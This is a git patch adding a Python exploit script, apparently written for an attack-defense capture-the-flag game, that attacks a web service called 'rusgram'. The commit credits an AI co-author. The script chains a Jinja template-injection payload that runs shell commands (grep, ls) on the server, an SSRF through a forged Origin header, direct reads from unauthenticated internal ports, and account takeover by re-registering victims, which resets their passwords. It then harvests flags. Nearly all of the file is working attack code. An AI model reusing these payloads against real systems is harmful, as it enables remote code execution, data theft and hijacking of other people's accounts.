From 8041f1b90fd12321af2089e44fd1bfe58606329b Mon Sep 17 00:00:00 2001 From: dmeetrogon Date: Wed, 26 Aug 2026 11:27:35 +0300 Subject: [PATCH] =?UTF-8?q?sploits:=20=D1=81=D0=BF=D0=BB=D0=BE=D0=B9=D1=82?= =?UTF-8?q?=20=D0=BD=D0=B0=20rusgram=20(5=20=D0=B2=D0=B5=D0=BA=D1=82=D0=BE?= =?UTF-8?q?=D1=80=D0=BE=D0=B2)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Комбинированный сплойт: V1 SSTI->RCE через имя юзера *.html, V3 SSRF через Origin, V4 прямой database :38002, V5 прямой content :38004, V2 захват аккаунта перерегистрацией. Векторы независимы — патч одного не глушит остальные. Энумерация жертв: комментарии к картинкам + `ls` через RCE. V1 использует свежее имя юзера на каждый раунд: Flask вне debug не перечитывает шаблоны, и после первого рендера Jinja отдаёт закэшированную версию. Проверено на стенде: собирает все посаженные флаги. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01NN8sHQuGbTBLGGkJyfxzXr --- sploits/rusgram_sploit.py | 227 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 227 insertions(+) create mode 100755 sploits/rusgram_sploit.py diff --git a/sploits/rusgram_sploit.py b/sploits/rusgram_sploit.py new file mode 100755 index 0000000..fcb4b46 --- /dev/null +++ b/sploits/rusgram_sploit.py @@ -0,0 +1,227 @@ +#!/bin/python3 +""" +Rusgram — комбинированный сплойт (все 4 вектора). + +Порядок: V1 (RCE) → V3 (SSRF) → V4 (прямой database) → V5 (прямой content) → V2 (ATO). +Векторы независимы: если противник запатчил один, остальные продолжают работать. + +Запуск: ./start_sploit.py rusgram_sploit.py +""" +import sys +import re +import random +import string +import requests + +FLAG_RX = re.compile(r"[A-Z0-9]{31}=") +TIMEOUT = 6 + +PROXY_PORT = 38000 +STATIC_PORT = 38001 +DB_PORT = 38002 +LOGIC_PORT = 38003 +CONTENT_PORT = 38004 + + +def rnd(n=8): + return "".join(random.choices(string.ascii_lowercase, k=n)) + + +def log(msg): + print(f"[*] {msg}", file=sys.stderr, flush=True) + + +# -------------------------------------------------------------------------- +# V1: SSTI -> RCE. Имя юзера, оканчивающееся на .html, рендерится content'ом +# как Jinja-шаблон. Payload кладём ДО первого рендера (Jinja кэширует шаблоны). +# -------------------------------------------------------------------------- +def v1_rce(ip, flags): + base = f"http://{ip}:{PROXY_PORT}" + user, pwd = f"{rnd()}.html", rnd() + try: + requests.post(f"{base}/api/register", json={"login": user, "password": pwd}, + timeout=TIMEOUT) + # grep -r сам обходит каталог: имена жертв знать не нужно + payload = ("{{ lipsum.__globals__.os.popen('grep -rhoE \"[A-Z0-9]{31}=\" " + "/app/files/db/').read() }}") + requests.post(f"{base}/api/update_personal", + json={"first_name": payload, "second_name": "x", "email": "x"}, + cookies={"session": f"{user}||{pwd}"}, timeout=TIMEOUT) + r = requests.get(f"{base}/db/users/{user}", timeout=TIMEOUT) + found = set(FLAG_RX.findall(r.text)) + flags |= found + log(f"V1 (RCE) : {len(found)} flags") + except requests.RequestException as e: + log(f"V1 failed: {e}") + + +# -------------------------------------------------------------------------- +# V3: SSRF. logic редиректит на Origin+'/login.html', proxy идёт по редиректу +# серверсайд. Работает даже если 38001-38004 закрыты фаерволом. +# -------------------------------------------------------------------------- +def v3_ssrf_read(ip, url_no_scheme, actor): + """Читает внутренний URL глазами proxy. Хвост /login.html уводим в query. + + В куке ДОЛЖЕН быть реально существующий юзер с неверным паролем: на + несуществующем logic падает в 500 (`.json()["data"]` по 404) и до + редиректа дело не доходит. Поэтому используем свой же аккаунт. + """ + base = f"http://{ip}:{PROXY_PORT}" + try: + r = requests.post(f"{base}/api/send_msg", json={"msg": "x"}, + cookies={"session": f"{actor}||WRONGPASS"}, + headers={"Origin": f"{url_no_scheme}?x="}, timeout=TIMEOUT) + return r.text + except requests.RequestException: + return "" + + +def v3_ssrf(ip, flags, users): + base = f"http://{ip}:{PROXY_PORT}" + # свой аккаунт как «актор»: гарантированно существует -> logic отдаст 302 + actor, pwd = rnd(10), rnd() + try: + requests.post(f"{base}/api/register", json={"login": actor, "password": pwd}, + timeout=TIMEOUT) + except requests.RequestException: + log("V3 (SSRF) : setup failed") + return + + found = set() + for u in list(users)[:60]: + for field in ("msg", "first_name", "second_name", "email"): + body = v3_ssrf_read(ip, f"http://database:5002/users/{u}/{field}", actor) + found |= set(FLAG_RX.findall(body)) + flags |= found + log(f"V3 (SSRF) : {len(found)} flags") + + +# -------------------------------------------------------------------------- +# V4: database опубликован на 38002 вообще без аутентификации. +# -------------------------------------------------------------------------- +def v4_database(ip, flags, users): + d = f"http://{ip}:{DB_PORT}" + found = set() + for u in list(users)[:100]: + for field in ("msg", "first_name", "second_name", "email"): + try: + r = requests.get(f"{d}/users/{u}/{field}", timeout=TIMEOUT) + found |= set(FLAG_RX.findall(r.text)) + except requests.RequestException: + pass + flags |= found + log(f"V4 (database) : {len(found)} flags") + + +# -------------------------------------------------------------------------- +# V5: content опубликован на 38004, рендерит файл юзера без требования .html. +# -------------------------------------------------------------------------- +def v5_content(ip, flags, users): + c = f"http://{ip}:{CONTENT_PORT}" + found = set() + for u in list(users)[:100]: + try: + r = requests.get(f"{c}/db/users/{u}", timeout=TIMEOUT) + found |= set(FLAG_RX.findall(r.text)) + except requests.RequestException: + pass + flags |= found + log(f"V5 (content) : {len(found)} flags") + + +# -------------------------------------------------------------------------- +# V2: register перезаписывает пароль существующему юзеру, сохраняя его поля. +# Самый «грязный» вектор (ломает жертве логин) — поэтому идёт последним. +# -------------------------------------------------------------------------- +def v2_ato(ip, flags, users): + base = f"http://{ip}:{PROXY_PORT}" + found = set() + for u in list(users)[:40]: + pwd = rnd(10) + try: + r = requests.post(f"{base}/api/register", json={"login": u, "password": pwd}, + timeout=TIMEOUT) + if r.status_code != 200: + continue + r = requests.get(f"{base}/", cookies={"session": f"{u}||{pwd}"}, timeout=TIMEOUT) + found |= set(FLAG_RX.findall(r.text)) + except requests.RequestException: + pass + flags |= found + log(f"V2 (ATO) : {len(found)} flags") + + +# -------------------------------------------------------------------------- +# Энумерация имён пользователей — несколько независимых каналов. +# -------------------------------------------------------------------------- +def enum_users(ip): + """Имена жертв: из комментариев к картинкам и из ls через RCE.""" + users = set() + + # канал 1: database напрямую (38002) + for i in range(1, 17): + try: + r = requests.get(f"http://{ip}:{DB_PORT}/images/{i}", timeout=TIMEOUT) + for c in r.json()["data"]["comments"]: + users.add(c[0]) + except Exception: + break + + # канал 2: RCE ls (работает, даже если внутренние порты закрыты) + base = f"http://{ip}:{PROXY_PORT}" + user, pwd = f"{rnd()}.html", rnd() + try: + requests.post(f"{base}/api/register", json={"login": user, "password": pwd}, + timeout=TIMEOUT) + # маркеры @@ — чтобы не собрать в список имён JSON-обвязку файла + payload = ("{{ lipsum.__globals__.os.popen(" + "'ls /app/files/db/users | sed \"s/^/@@/\"').read() }}") + requests.post(f"{base}/api/update_personal", + json={"first_name": payload, "second_name": "x", "email": "x"}, + cookies={"session": f"{user}||{pwd}"}, timeout=TIMEOUT) + r = requests.get(f"{base}/db/users/{user}", timeout=TIMEOUT) + users |= set(re.findall(r"@@([\w.\-]+)", r.text)) + except requests.RequestException: + pass + + users.discard(".gitkeep") + # свои же .html-аккаунты в список жертв не берём + users = {u for u in users if u and not u.endswith(".html")} + log(f"enumerated {len(users)} users") + return users + + +def exploit(target_ip): + flags = set() + + # V1 не требует знания имён — бьём сразу + v1_rce(target_ip, flags) + + users = enum_users(target_ip) + if users: + v4_database(target_ip, flags, users) + v5_content(target_ip, flags, users) + v3_ssrf(target_ip, flags, users) + v2_ato(target_ip, flags, users) + + return flags + + +def main(): + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ", file=sys.stderr, flush=True) + sys.exit(1) + + target_ip = sys.argv[1] + try: + found_flags = exploit(target_ip) or [] + for flag in found_flags: + clean_flag = str(flag).strip() + if FLAG_RX.fullmatch(clean_flag): + print(clean_flag, flush=True) + except Exception as e: + print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) + + +if __name__ == "__main__": + main()